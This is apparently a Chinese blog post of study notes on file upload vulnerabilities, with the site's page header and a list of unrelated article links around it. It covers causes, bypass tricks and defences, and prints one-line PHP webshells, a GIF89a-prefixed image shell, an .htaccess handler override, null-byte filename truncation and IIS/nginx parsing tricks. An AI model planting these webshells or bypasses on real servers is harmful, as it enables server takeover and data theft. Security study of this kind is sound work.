当前位置: 首页 > news >正文

文件上传漏洞学习笔记


一、漏洞概述

  1. 定义 文件上传漏洞指未对用户上传的文件进行充分安全校验,导致攻击者可上传恶意文件(如Webshell、木马),进而控制服务器或执行任意代码。

  2. 危害等级 ⚠️ 高危漏洞(通常CVSS评分7.0+),可能导致:

    • 服务器完全沦陷

    • 数据泄露

    • 钓鱼攻击跳板

    • 内网渗透入口


二、常见漏洞触发点

  1. 未校验文件类型 仅依赖前端JS验证或未校验Content-Type。

  2. 黑名单机制缺陷 漏掉冷门可执行后缀(如 .phtml, .php5)。

  3. 路径处理不当 用户可控制上传路径(如 filename=../../uploads/shell.php)。

  4. 未重命名文件 保留用户输入的文件名,导致覆盖或解析漏洞。

  5. 服务器配置错误 如Apache的AddHandler错误配置导致文本文件按脚本解析。


三、攻击方式

1. 直接上传Webshell

  • 经典PHP Webshell

    php

  • <?php @eval($_POST['cmd']); ?>

  • 绕过技巧:利用短标签 <?=、编码混淆、图片马注入。

2. 钓鱼文件攻击

  • 上传伪装成图片/文档的恶意文件(如 invoice.pdf.exe)。

3. 配合其他漏洞利用

  • 文件包含漏洞:上传含恶意代码的图片,通过LFI执行。

  • 解析漏洞:IIS/nginx错误解析文件名(如 shell.php.jpg)。


四、绕过防御技巧

1. 前端绕过

  • 禁用JS或修改前端校验代码(如删除onsubmit事件)。

2. 黑名单绕过

  • 尝试非常规后缀:.php5, .phtml, .phar, .htaccess(Apache)。

  • 大小写混合:.PhP, .pHp

  • 双写后缀:.pphphp → 过滤后变为 .php

3. MIME类型绕过

  • 修改Content-Type为合法类型:

    httpContent-Type: image/png

4. 文件头伪造

  • 在恶意文件头部添加合法标识:

    php

    GIF89a;
    <?php system($_GET['cmd']); ?>

5. .htaccess攻击(Apache)

  • 上传覆盖.htaccess文件,定义解析规则:

    apache

    AddType application/x-httpd-php .abc

6. 特殊符号截断

  • %00截断(需PHP<5.3):

    filename="shell.php%00.jpg"

7. 解析漏洞利用

  • IIS 6.0/uploads/shell.asp;.jpg 被解析为ASP文件。

  • Nginx畸形路径/uploads/shell.jpg/.php 错误解析为PHP。


五、防御方案

1. 白名单校验

  • 文件扩展名:仅允许 .jpg, .png, .pdf 等必要类型。

  • MIME类型:从服务器端检测 magic number(真实文件类型)。

2. 重命名文件

  • 使用随机哈希值重命名(如 a3F8d9.jpg),避免用户控制文件名。

3. 存储隔离

  • 上传目录禁止脚本执行(通过服务器配置):

    nginx

    location /uploads/ {deny all;
    }

4. 文件内容检测

  • 检查图片文件的宽高属性,验证是否为真实图片。

  • 使用杀毒引擎扫描上传文件。

5. 限制文件大小

  • 设置合理的最大上传尺寸(如10MB)。

6. 日志与监控

  • 记录所有上传行为,对异常文件(如 .php)触发告警。

7. WAF防护

  • 配置规则拦截 <?phpeval( 等危险关键词。


六、实战案例

  1. Discuz! 任意文件上传漏洞 通过修改上传请求的 filename 参数绕过后缀检测。

  2. WordPress插件漏洞 某些插件未校验非Ajax上传路径,导致可直接上传PHP文件。


七、测试工具

  1. Burp Suite 拦截修改上传请求,测试绕过逻辑。

  2. Webshell管理工具 AntSword、Cknife、Behinder(需合法授权使用)。


八、学习资源

  1. OWASP文件上传防护指南: Unrestricted File Upload | OWASP Foundation

  2. Upload Labs靶场: GitHub搜索 "upload-labs" 练习绕过技巧

  3. 《Web安全攻防:渗透测试实战指南》第6章

http://www.lryc.cn/news/542599.html

相关文章:

  • 375_C++_cloud手机推送,添加人脸告警信息到任务队列中,UploadAlarmPush是典型的工厂模式应用,为什么使用工厂模式完成这部分代码
  • Spring Boot 中的日志管理
  • 火绒终端安全管理系统V2.0网络防御功能介绍
  • 海康摄像头 + M7s(Monibuca) + FFmpeg + Python实现多个网络摄像头视频流推流
  • 抖音视频如何下载保存去水印
  • 【鸿蒙开发】第三十九章 LazyForEach:数据懒加载
  • HTTP-
  • 创建型模式 - 原型模式 (Prototype Pattern)
  • Android 8.0 (API 26) 对广播机制做了哪些变化
  • Unity汽车笔记
  • html中rel、href、src、url的区别
  • 【idea问题排查技巧】
  • SQL: DDL,DML,DCL,DTL,TCL,
  • WordPress R+L Carrier Edition sql注入漏洞复现(CVE-2024-13481)(附脚本)
  • DeepSeek基础之机器学习
  • QSplashScreen --软件启动前的交互
  • Python 循环嵌套
  • 性能测试项目实战
  • Web自动化之Selenium实战案例2:东方财富网股吧评论爬取
  • 【Java八股文】09-计算机操作系统面试篇
  • 【Redis】在Java中以及Spring环境下操作Redis
  • MFC—加法器
  • SpringBoot五:Web开发
  • 电机控制的空间矢量调制 (SVPWM)
  • jupyterhub on k8s 配置用户名密码 简单版
  • c++笔试准备
  • 【Docker】如何在Linux、Windows、MacOS中安装Docker
  • 欧拉回路与哈密尔顿回路: Fleury算法与Hierholzer 算法(C++)
  • JavaSE学习笔记26-集合(Collection)
  • 本地开发用ASP.NET Core Web API项目创建及测试